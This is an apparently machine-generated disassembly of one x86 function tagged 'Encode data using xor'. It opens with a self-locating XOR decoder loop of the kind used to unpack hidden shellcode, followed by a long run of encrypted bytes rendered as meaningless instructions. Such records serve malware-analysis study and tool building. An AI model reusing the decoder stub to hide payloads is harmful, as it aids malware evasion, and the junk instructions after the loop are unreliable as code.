Function at 0xf6f04c
Capabilities:
Encode data using xor

Disassembly:
call 0xe581e6f8
pop ds
ret
jge 0xf6f044
pop edx
mov al, byte [0x827869a2]
js 0xf6efc8
or al, 0xf4
jns 0xf6f09f
add byte [eax], al
jmp 0xf6f056
pushal
call 0xf6f05c
pop ebp
sub ebp, 0x10
sub ebp, 0xb6f04c
jmp 0xf6f072
mov eax, 0xb6f04c
mov dh, 0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c8
add byte [eax], al
add byte [ecx + 0x5c8], bh
mov edx, 0xe1396b70
xor byte [eax], dl
inc eax
dec ecx
jne 0xf6f089
jmp 0xf6f09c
add byte [eax], al
invalid
sti
mov ebp, 0x704cf9fb
jo 0xf6f114
stc
dec esp
jo 0xf6f113
jo 0xf6f096
int1
mov cl, 0x88
jo 0xf6f119
jo 0xf6f11e
mov ebp, 0x707079c8
jo 0xf6f07c
pop eax
jo 0xf6f125
jo 0xf6f03e
xchg edx, eax
jae 0xf6f072
sti
int1
jl 0xf6f12e
jo 0xf6f130
jae 0xf6f077
and byte [eax], ah
sbb ah, bl
push edx
jo 0xf6f0e2
out dx, al
shl esp, 1
jo 0xf6f140
pop esp
push esp
sbb byte [eax], dl
test byte [ecx], cl
and eax, 0x70707598
jo 0xf6f075
inc eax
jo 0xf6f14f
jo 0xf6f150
jo 0xf6f0de
std
adc al, 0x54
push esp
invalid
je 0xf6f185
jo 0xf6f186
jo 0xf6f187
jo 0xf6f130
sbb ah, bl
fdivr qword [esi]
push edx
push edx
jo 0xf6f135
out dx, al
shl esp, 1
jo 0xf6f193
pop esp
push esp
std
adc al, 0x54
invalid
jo 0xf6f1a0
cdq
cmp esi, dword [edx + 0x70]
jo 0xf6f133
jo 0xf6f1a5
std
adc al, 0x54
invalid
pop esp
push esp
and al, 0x2d
pop dword [0x78058f7c]
cwde
jl 0xf6f0d1
add eax, 0x70089878
jo 0xf6f1b9
or byte [eax + 0x70], dh
jo 0xf6f145
sti
int 0x78
jo 0xf6f1be
jo 0xf6f193
inc ebx
mov ecx, 0xa10382f1
in eax, dx
dec esp
int1
add byte [ebx], 0xa1
in eax, dx
dec esp
inc ebx
mov byte [0x387598f3], al
add esp, dword [ecx - 0x5dbcb313]
mov eax, dword [0xa2434ced]
cwde
jne 0xf6f19b
jg 0xf6f159
jo 0xf6f1d8
jo 0xf6f1e9
clc
cmp byte [eax + 0x70], dh
jo 0xf6f186
sti
insb byte es:[edi], dx
dec ecx
invalid
hlt
push ss
int1
mov ecx, dword [edi + 0x65f47f55]
jo 0xf6f1ff
push ebp
jg 0xf6f180
jo 0xf6f1ff
jo 0xf6f200
jo 0xf6f1c2
xor dword [ecx - 0x70707044], ebx
pop ecx
cdq
mov esp, 0x598f8f8f
invalid
cmp al, 0x49
jno 0xf6f18e
mov cl, 0x75
cwde
je 0xf6f13a
cdq
int 0x8f
invalid
pop ecx
and al, 0x49
jb 0xf6f19d
mov cl, 0x76
lcall 0xdb99, 0x7598f374
invalid
push esp
std
adc al, 0x54
je 0xf6f171
mov dl, 0x7c
jo 0xf6f1e7
jl 0xf6f231
and eax, 0x27269cfb
sti
pushfd
daa
and eax, 0xfb7c05fb
or eax, 0xf0c28c78
cli
js 0xf6f15a
ret 0xfaf0
jbe 0xf6f1c4
mov dh, 0x71
jo 0xf6f247
jo 0xf6f1d1
clc
ja 0xf6f1cc
mov bh, 0x71
jo 0xf6f24f
jo 0xf6f250
jo 0xf6f1ac
retf
jb 0xf6f253
jo 0xf6f255
jb 0xf6f189
jg 0xf6f1de
jne 0xf6f25b
jo 0xf6f25d
cli
bound sp, dword ss:[edx - 0x70570c81]
invalid
cmc
jne 0xf6f26e
jo 0xf6f270
jo 0xf6f1fb
cli
bound sp, dword ss:[edx + 0x701af37f]
jo 0xf6f27b
inc ebx
mov al, 0x72
mov byte [0x7075f57f], al
jo 0xf6f285
cli
bound sp, dword ss:[edx + 0x715af37f]
mov byte [0x715af37f], al
jo 0xf6f290
jb 0xf6f1c4
jg 0xf6f219
jne 0xf6f296
jo 0xf6f298
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xf6f228
jne 0xf6f2a5
jo 0xf6f2a7
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xf6f237
jne 0xf6f2b4
jo 0xf6f2b6
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
jg 0xf6f246
cmc
jne 0xf6f2c3
jo 0xf6f2c4
jo 0xf6f2c5
jo 0xf6f250
cli
bound sp, dword ss:[edx - 0xb804f9d]
mov al, 0x7f
hlt
jbe 0xf6f2d0
jo 0xf6f2d2
jo 0xf6f25e
sti
scasd eax, dword es:[edi]
pop ebx
test al, 0xfa
jae 0xf6f261
ja 0xf6f2a2
aaa
retf
jo 0xf6f2e0
cdq
add byte [edi + 0x71c88f8f], cl
jo 0xf6f2e9
invalid
jo 0xf6f2ed
mov byte [0x7075f57f], al
jo 0xf6f2f2
cli
bound sp, dword ss:[edx - 0x5d8d4f9d]
bound esp, qword [edx - 0x5d8d4f9d]
mov byte [0x7075f57f], al
jg 0xf6f282
cmc
jne 0xf6f2ff
jo 0xf6f301
jo 0xf6f28c
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jg 0xf6f28a
scasb al, byte es:[edi]
invalid
jo 0xf6f323
cmc
inc esp
jo 0xf6f318
jo 0xf6f319
jo 0xf6f273
leave
jno 0xf6f31c
jo 0xf6f31e
jb 0xf6f252
jg 0xf6f2a7
jne 0xf6f324
jo 0xf6f326
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xf6f2b6
cmc
jne 0xf6f333
jo 0xf6f335
jo 0xf6f2c0
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
sti
xchg dword [ebx - 0x7b], ebx
adc esp, 0x2e
aam 0x2e
cdq
js 0xf6f26a
invalid
invalid
js 0xf6f2dc
jbe 0xf6f31a
sti
cwde
leave
jno 0xf6f359
jo 0xf6f35b
jb 0xf6f28f
jg 0xf6f2e4
cmc
jne 0xf6f361
jo 0xf6f363
jo 0xf6f2ee
cli
bound sp, dword ss:[edx - 0x5d8d469d]
jg 0xf6f2f3
cmc
jne 0xf6f370
jo 0xf6f371
jo 0xf6f372
jo 0xf6f2fd
cli
bound sp, dword ss:[edx - 0x70510d81]
invalid
jo 0xf6f383
int1
test eax, 0x8f8f8f8f
invalid
int1
mov byte [eax + 0x75], dh
jne 0xf6f38e
jo 0xf6f38f
jo 0xf6f311
int1
test eax, 0x8f8f8f8f
int1
invalid
invalid
invalid
mov al, dh
jo 0xf6f39a
jo 0xf6f39b
jo 0xf6f31d
int1
mov eax, dword [0x70707070]
int1
mov al, dh
jo 0xf6f3a6
invalid
jo 0xf6f3a7
jo 0xf6f329
int1
mov eax, dword [0x70707070]
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
cdq
jmp 0xf6f2d6
inc ebx
mov ecx, 0x7f7198b0
hlt
mov eax, dword [0x70707072]
jb 0xf6f3cc
jo 0xf6f3cd
jo 0xf6f3ce
jo 0xf6f35a
sti
cwde
sti
sti
xchg dword [ebx - 0x80], ebx
adc esp, 0x2e
pop ebx
add byte [ebx + 0x71cb2ed4], 0x70
jo 0xf6f3dd
retf
cdq
add ecx, dword [esi + 0x5b2d8f8f]
or eax, 0x2fb7fb78
invalid
invalid
sub eax, 0xfb780d5b
mov bh, 0x2f
sti
xchg ebp, eax
sub eax, 0x2f7078b2
sti
inc esp
push esp
std
adc al, 0x54
je 0xf6f322
je 0xf6f3fb
jo 0xf6f3fd
and esp, dword [ebx + 0x3cc82014]
mov dword [0x3cc82014], eax
adc al, 0x20
enter 0xffffffffffff803c, 0xffffffffffffffc6
jo 0xf6f40a
add dh, 0x70
jae 0xf6f34d
mov ch, 0xf1
int1
mov al, 0x1b
sbb esi, dword [ebx + 0x70]
jae 0xf6f40d
jo 0xf6f368
fnstenv [edx + 0x70]
jo 0xf6f36e
retf 0x3749
dec ecx
aaa
jp 0xf6f38b
jecxz 0xf6f3e9
inc eax
pushal
xor byte [ecx], bh
jg 0xf6f3a3
xchg byte [edi + 0x74998f8f], cl
jo 0xf6f426
jo 0xf6f3a5
cmp esi, eax
or dh, 0xb7
into
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
dec ecx
dec ecx
dec ecx
dec edx
mov bh, 0xc4
les edx, [edi]
pop ss
dec ecx
ffreep st(2)
cmp dword [ebp - 0x21], esi
ret 0x79cd
xchg ecx, eax
into
mov bl, 0xc2
xor ecx, dword [ecx - 0x32]
mov bl, 0xc2
push es
dec ebp
enter 0x49b3, 0x49
mov bl, 0x49
dec ecx
dec ecx
dec ecx
inc esi
int 0xf
dec ecx
dec ecx
dec ecx
dec edx
lahf
enter 0x418e, 0x49
dec ecx
dec ecx
enter 0x41a0, 0x49
dec ecx
dec ecx
mov al, byte [0x49494941]
enter 0x49b0, 0x49
dec ecx
dec ecx
inc esi
int 0x99
cdq
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
enter 0xffffffffffffb6a9, 0x46
dec ecx
dec ecx
dec edx
mov ecx, dword [eax + 0x51]
add byte [eax], al
retf 0x4b8e